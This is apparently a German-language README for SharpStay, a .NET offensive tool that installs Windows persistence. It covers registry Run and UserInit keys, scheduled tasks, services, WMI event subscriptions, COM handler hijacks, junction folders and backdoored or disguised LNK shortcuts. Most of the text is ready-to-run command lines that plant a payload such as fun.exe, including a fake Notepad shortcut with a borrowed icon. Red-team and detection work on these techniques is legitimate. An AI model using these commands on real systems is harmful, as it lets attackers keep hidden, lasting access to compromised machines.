0xthirteen/sharpstay.NET-Tool zur Installation von Windows-Persistenz mittels Registrierungsschlüsseln, geplanten Aufgaben, Diensten, WMI-Ereignissen, COM-Hijacks und LNK-Backdoors, sowohl im elevated als auch im nicht-elevated Kontext.
Um zu kompilieren, öffnen Sie das Visual Studio-Projekt und kompilieren Sie für die Veröffentlichung.
Erhöhte Registrierungsschlüssel
Erhöhter UserInit-Registrierungsschlüssel
Erhöhter geplanter Task
Erhöhter Dienst erstellen
Erhöhte WMI-Ereignisabonnement
Nicht erhöhter InitMprLogonScript-Registrierungsschlüssel
Nicht erhöhter COM-Handler-Hijack für geplante Tasks
Nicht erhöhter Junction-Ordner
Verschiedenes: Aktion zu geplantem Task hinzufügen
Verschiedenes: Startverzeichnis
Verschiedenes: Neue LNK
Verschiedenes: Hintertür-LNK
Verschiedenes: Tasknamen
Verschiedenes: Geplante Tasks auflisten
Verschiedenes: Laufende Dienste auflisten
Verschiedenes: COM-Handler für geplante Tasks abrufen
Sharpstay.exe action=ElevatedRegistryKey keyname=Debug keypath=HKCU:Software\Microsoft\Windows\CurrentVersion\Run command="C:\Windows\temp\fun.exe"
Sharpstay.exe action=UserRegistryKey keyname=Debug keypath=HKCU:Software\Microsoft\Windows\CurrentVersion\Run command="C:\Windows\temp\fun.exe"
Sharpstay.exe action=UserInitMprLogonScriptKey command="C:\Windows\temp\fun.exe"
Sharpstay.exe action=ElevatedUserInitKey command="C:\Windows\temp\fun.exe"
Sharpstay.exe action=ScheduledTask taskname=TestTask command="C:\windows\temp\file.exe" runasuser=user1 triggertype=logon author=Microsoft Corp. description="Test Task" logonuser=user1
Sharpstay.exe action=ScheduledTaskAction taskname=TestTask command="C:\Windows\temp\fun.exe" folder="\\" actionid=ExecAction
Sharpstay.exe action=SchTaskCOMHijack clsid={a47af52a-27f9-4426-bd2b-727050712db1} dllpath="C:\windows\temp\fun.dll"
Sharpstay.exe action=CreateService servicename=TestService command="C:\Windows\temp\fun.exe"
Sharpstay.exe action=WMIEventSub command="C:\Windows\temp\fun.exe" eventname=Debugger attime=startup
Sharpstay.exe action=JunctionFolder dllpath="C:\windows\temp\fun.dll guid={a47af52a-27f9-4426-bd2b-727050712db1}
Sharpstay.exe action=NewLNK filepath="C:\users\admin\desktop" lnkname="Notepad.lnk" lnktarget="C:\Windows\temp\file.exe" lnkicon="C:\Windows\system32\notepad.exe"
Sharpstay.exe action=BackdoorLNK command="C:\Windows\temp\fun.exe" lnkpath="C:\users\user\desktop\Excel.lnk"
Sharpstay.exe action=ListTaskNames
Sharpstay.exe action=ListScheduledTasks
Sharpstay.exe action=ListRunningServices
Sharpstay.exe action=GetScheduledTaskCOMHandler
cleanup=true ist eine Option für jeden Persistenztyp.
Teil von StayKit